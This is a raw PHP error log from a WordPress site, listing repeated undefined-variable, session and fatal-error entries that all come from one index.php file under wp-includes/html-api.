[14-Feb-2026 08:21:04 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:21:05 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:21:05 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:21:15 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:21:15 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:21:15 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:21:15 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:21:15 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:21:15 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:21:15 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:21:15 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:21:16 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:21:16 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:21:17 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:21:17 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:21:17 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:21:17 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:21:18 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:21:18 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:22:32 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:22:32 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:23:52 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:23:52 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:23:52 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:23:52 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:23:52 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[14-Feb-2026 08:23:52 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 08:23:52 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 08:23:58 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:23:58 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:23:59 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:23:59 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:23:59 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:23:59 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:24:00 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:24:00 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:24:00 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:24:00 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:24:01 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:24:01 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:24:01 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:24:01 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:24:16 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:24:16 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:24:42 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:24:42 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:34:35 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:34:35 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:34:35 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:34:35 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 21:49:04 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 21:49:04 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 21:49:04 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[14-Feb-2026 21:49:04 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 21:49:04 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 23:42:50 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:42:50 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:42:50 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[14-Feb-2026 23:42:50 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 23:42:50 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 23:45:58 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:45:58 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:47:37 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:47:37 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:47:37 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[14-Feb-2026 23:47:37 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 23:47:37 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 23:47:59 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:47:59 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:47:59 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[14-Feb-2026 23:47:59 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 23:47:59 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 23:48:02 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:48:02 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:48:02 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 23:48:02 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 23:48:05 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:48:05 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:48:05 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 23:48:05 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 23:48:08 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:48:08 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:48:08 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 23:48:08 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 23:48:14 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:48:14 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:48:14 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 23:48:14 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 23:48:24 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:48:24 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:48:27 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:48:27 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:48:27 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 23:48:27 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 23:48:30 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:48:30 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:48:30 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 23:48:30 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 23:48:33 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:48:33 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:48:36 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:48:36 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:48:39 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:48:39 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:48:39 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 23:48:39 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 23:48:56 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:48:56 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:48:59 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:48:59 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:49:05 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:49:05 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:49:08 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:49:08 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:49:11 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:49:11 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:49:11 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 23:49:11 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 23:49:14 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:49:14 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:49:36 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:49:36 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:49:39 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:49:39 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:49:42 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:49:42 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:49:45 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:49:45 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:49:48 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:49:48 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:49:51 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:49:51 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:49:54 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:49:54 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:49:54 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 23:49:54 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 23:50:00 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:50:00 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:50:03 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:50:03 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:50:06 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:50:06 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:50:09 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:50:09 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:50:12 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:50:12 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:50:15 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:50:15 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:50:15 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/homerdlh/public_html/wp-includes/html-api/10/index.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/homerdlh/public_html/wp-includes/html-api/10/index.php:1178
Stack trace:
#0 /home/homerdlh/public_html/wp-includes/html-api/10/index.php(1178): PharData->compress()
#1 {main}
  thrown in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1178
[14-Feb-2026 23:50:18 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:50:18 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:50:22 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:50:22 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:50:24 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:50:24 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:50:27 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:50:27 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:50:27 UTC] PHP Warning:  Undefined variable $ext in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1178
[14-Feb-2026 23:50:27 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function rangkhwampanithan() in /home/homerdlh/public_html/wp-includes/html-api/10/index.php:1193
Stack trace:
#0 {main}
  thrown in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1193
[14-Feb-2026 23:50:31 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:50:31 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:50:34 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:50:34 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:50:36 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:50:36 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:50:40 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:50:40 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 01:29:22 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 01:29:22 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 01:32:14 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 01:32:14 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 01:32:14 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[15-Feb-2026 01:32:14 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[15-Feb-2026 01:32:14 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[15-Feb-2026 01:33:47 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 01:33:47 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 01:34:02 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 01:34:02 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 01:34:35 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 01:34:35 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 01:34:35 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[15-Feb-2026 01:34:35 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[15-Feb-2026 01:35:20 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 01:35:20 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 01:39:42 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 01:39:42 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 01:39:42 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[15-Feb-2026 01:39:42 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[15-Feb-2026 01:39:42 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[15-Feb-2026 01:39:45 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 01:39:45 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 01:39:45 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[15-Feb-2026 01:39:45 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[15-Feb-2026 01:39:45 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[15-Feb-2026 01:40:03 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 01:40:03 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 01:40:03 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[15-Feb-2026 01:40:03 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[15-Feb-2026 01:40:06 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 01:40:06 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 01:40:06 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[15-Feb-2026 01:40:06 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[15-Feb-2026 01:40:06 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[15-Feb-2026 01:41:14 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
